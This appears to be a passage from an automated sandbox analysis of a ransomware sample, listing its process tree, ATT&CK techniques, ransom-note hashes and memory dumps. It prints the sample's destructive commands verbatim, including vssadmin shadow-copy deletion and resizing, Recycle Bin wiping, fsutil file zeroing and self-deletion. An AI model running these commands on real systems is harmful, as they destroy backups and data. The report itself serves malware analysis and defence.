- C:\Windows\SysWOW64\sc.exe
  "sc.exe" config SQLTELEMETRY$ECWDB2 start= disabled
  2⤵
  - Launches sc.exe
  PID:1296
- C:\Windows\SysWOW64\taskkill.exe
  "taskkill.exe" /IM mydesktopservice.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:1644
- C:\Windows\SysWOW64\vssadmin.exe
  "vssadmin.exe" Delete Shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:1248
- C:\Windows\SysWOW64\vssadmin.exe
  "vssadmin.exe" resize shadowstorage /for=c: /on=c: /maxsize=401MB
  2⤵
  - Interacts with shadow copies
  PID:1712
- C:\Windows\SysWOW64\vssadmin.exe
  "vssadmin.exe" resize shadowstorage /for=c: /on=c: /maxsize=unbounded
  2⤵
  - Interacts with shadow copies
  PID:268
- C:\Windows\SysWOW64\vssadmin.exe
  "vssadmin.exe" resize shadowstorage /for=d: /on=d: /maxsize=401MB
  2⤵
  - Enumerates connected drives
  - Interacts with shadow copies
  PID:1776
- C:\Windows\SysWOW64\vssadmin.exe
  "vssadmin.exe" resize shadowstorage /for=d: /on=d: /maxsize=unbounded
  2⤵
  - Enumerates connected drives
  - Interacts with shadow copies
  PID:2004
- C:\Windows\SysWOW64\vssadmin.exe
  "vssadmin.exe" resize shadowstorage /for=e: /on=e: /maxsize=unbounded
  2⤵
  - Enumerates connected drives
  - Interacts with shadow copies
  PID:1972
- C:\Windows\SysWOW64\vssadmin.exe
  "vssadmin.exe" resize shadowstorage /for=g: /on=g: /maxsize=401MB
  2⤵
  - Enumerates connected drives
  - Interacts with shadow copies
  PID:1096
- C:\Windows\SysWOW64\vssadmin.exe
  "vssadmin.exe" resize shadowstorage /for=f: /on=f: /maxsize=unbounded
  2⤵
  - Enumerates connected drives
  - Interacts with shadow copies
  PID:1756
- C:\Windows\SysWOW64\vssadmin.exe
  "vssadmin.exe" resize shadowstorage /for=f: /on=f: /maxsize=401MB
  2⤵
  - Enumerates connected drives
  - Interacts with shadow copies
  PID:1624
- C:\Windows\SysWOW64\vssadmin.exe
  "vssadmin.exe" resize shadowstorage /for=e: /on=e: /maxsize=401MB
  2⤵
  - Enumerates connected drives
  - Interacts with shadow copies
  PID:328
- C:\Windows\SysWOW64\vssadmin.exe
  "vssadmin.exe" resize shadowstorage /for=g: /on=g: /maxsize=unbounded
  2⤵
  - Enumerates connected drives
  - Interacts with shadow copies
  PID:1036
- C:\Windows\SysWOW64\vssadmin.exe
  "vssadmin.exe" resize shadowstorage /for=h: /on=h: /maxsize=unbounded
  2⤵
  - Enumerates connected drives
  - Interacts with shadow copies
  PID:1296
- C:\Windows\SysWOW64\vssadmin.exe
  "vssadmin.exe" Delete Shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:1508
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c rd /s /q %SYSTEMDRIVE%\$Recycle.bin
  2⤵
  PID:1956
- C:\Windows\SysWOW64\vssadmin.exe
  "vssadmin.exe" resize shadowstorage /for=h: /on=h: /maxsize=401MB
  2⤵
  - Enumerates connected drives
  - Interacts with shadow copies
  PID:1704
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /C C:\Users\Admin\AppData\Local\Temp\tmp693F.bat
  2⤵
  PID:2492
- C:\Windows\SysWOW64\notepad.exe
  "C:\Windows\System32\notepad.exe" C:\Users\Admin\Desktop\HOW_TO_DECYPHER_FILES.txt
  2⤵
  - Opens file in notepad (likely ransom note)
  PID:2240
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /C ping 127.0.0.7 -n 3 > Nul & fsutil file setZeroData offset=0 length=524288 “%s” & Del /f /q “%s”
  2⤵
  PID:1164
- - C:\Windows\SysWOW64\PING.EXE
    ping 127.0.0.7 -n 3
    3⤵
    - Runs ping.exe
    PID:2276
- - C:\Windows\SysWOW64\fsutil.exe
    fsutil file setZeroData offset=0 length=524288 “%s”
    3⤵
    PID:1612
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" "/C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
  2⤵
  - Deletes itself
  PID:2388
- - C:\Windows\SysWOW64\choice.exe
    choice /C Y /N /D Y /T 3
    3⤵
    PID:2220

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "571799987-1648886198-1812818577-132843394161021411910308607491763808908-1853837625"
1⤵
- Suspicious use of WriteProcessMemory
PID:1548

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "-12148152011263496083-228283681143924105-425169049-1486455122-1190043265-1753857442"
1⤵
PID:1792

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "-15741348051667739193-1128157077-20224982759649311081329017973-1532737442-956668708"
1⤵
PID:1600

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "1665766289-9494478401847932037-915932849950309332-137448934117163576991256653269"
1⤵
PID:1708

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1368

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "16503882331703454131970583709-1461387688-1034186497-209850191-21111203082093885944"
1⤵
PID:540

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "1806358005-162193458-152287631993708480-1678573084-7539787715615353261892542492"
1⤵
PID:392

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "1939888141890336344-110534270499295656815696683501217314914-712962076-1450605059"
1⤵
- Suspicious use of WriteProcessMemory
PID:1912

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "1781434858-522961737-566023887-14738456701235968711179627441312106338361426598308"
1⤵
PID:656

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "-182099647551179031-179718797912939746651196188463-10457147041925944248-1593369701"
1⤵
PID:1648

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "1434357520-1905404747-2011718415-605789533258393147-1905763923-5415044901922438010"
1⤵
PID:432

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File Deletion

T1107

Modify Registry

T1112

Web Service

T1102

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Inhibit System Recovery

T1490

Replay Monitor

Loading Replay Monitor...

Downloads

C:\HOW_TO_DECYPHER_FILES.txt

Filesize
1KB

MD5
4532b331fe20941d782c79efa46ef5a9

SHA1
787e391bb60d9cbf31599a5e28dbd3a2e5a0991e

SHA256
52d35a64c3edc64da899c695c352609a238ead571ff805de4bb6e4c99306c52c

SHA512
0e9fb47b6ae1b37117ca027117b47b4b42cd02688140e0bb5e6fd998baba6cf1eb3f9ab7d6e9e553f8f9dcf04b346d88056d25f3237c28ec627acc75b9c35000

Download Submit
C:\Users\Admin\Desktop\HOW_TO_DECYPHER_FILES.txt

Filesize
1KB

MD5
4532b331fe20941d782c79efa46ef5a9

SHA1
787e391bb60d9cbf31599a5e28dbd3a2e5a0991e

SHA256
52d35a64c3edc64da899c695c352609a238ead571ff805de4bb6e4c99306c52c

SHA512
0e9fb47b6ae1b37117ca027117b47b4b42cd02688140e0bb5e6fd998baba6cf1eb3f9ab7d6e9e553f8f9dcf04b346d88056d25f3237c28ec627acc75b9c35000

Download Submit
memory/860-58-0x0000000001CA0000-0x0000000001CE0000-memory.dmp

Filesize
256KB

Download
memory/860-60-0x0000000001CA0000-0x0000000001CE0000-memory.dmp

Filesize
256KB

Download
memory/860-59-0x0000000001CA0000-0x0000000001CE0000-memory.dmp

Filesize
256KB

Download
memory/1156-54-0x0000000000F00000-0x0000000000F1C000-memory.dmp

Filesize
112KB

Download
memory/1156-55-0x0000000004A50000-0x0000000004A90000-memory.dmp

Filesize
256KB

Download
memory/1156-117-0x0000000004A50000-0x0000000004A90000-memory.dmp

Filesize
256KB

Download